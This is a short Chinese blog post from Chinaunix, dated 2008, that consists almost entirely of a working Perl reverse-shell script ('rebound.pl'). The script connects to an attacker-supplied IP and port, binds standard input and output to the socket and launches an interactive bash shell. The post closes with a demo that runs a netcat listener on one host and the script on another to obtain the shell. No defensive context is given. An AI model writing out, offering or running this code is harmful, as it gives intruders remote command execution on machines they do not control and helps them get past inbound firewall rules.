Chinaunix首页 | 论坛 | 博客
  • 博客访问: 668063
  • 博文数量: 467
  • 博客积分: 8050
  • 博客等级: 中将
  • 技术积分: 14825
  • 用 户 组: 普通用户
  • 注册时间: 2006-09-18 11:00
文章分类

全部博文(467)

文章存档

2009年(8)

2008年(459)

分类:

2008-04-01 02:19:44

# cat rebound.pl


#!/usr/bin/perl -w
#

use strict;
use Socket;
use IO::Handle;

if($#ARGV+1 != 2){
        print "$#ARGV $0 Remote_IP Remote_Port \n";
        exit 1;
}

my $remote_ip = $ARGV[0];
my $remote_port = $ARGV[1];

my $proto = getprotobyname("tcp");
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = '/bin/bash -i';

socket(SOCK, AF_INET, SOCK_STREAM, $proto);

STDOUT->autoflush(1);
SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die "can not connect:$!";

open STDIN, "<&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";

print "Enjoy the shell.\n";

system($shell);
close SOCK;

exit 0;
-------------------------------------------------------------------------------------------------------

演示:

在主机A上面

nc -l -p 8888 -vv

在主机B上面

./rebound.pl AA.AA.AA.AA 8888

于是在主机A上面得到一个反弹shell

阅读(656) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~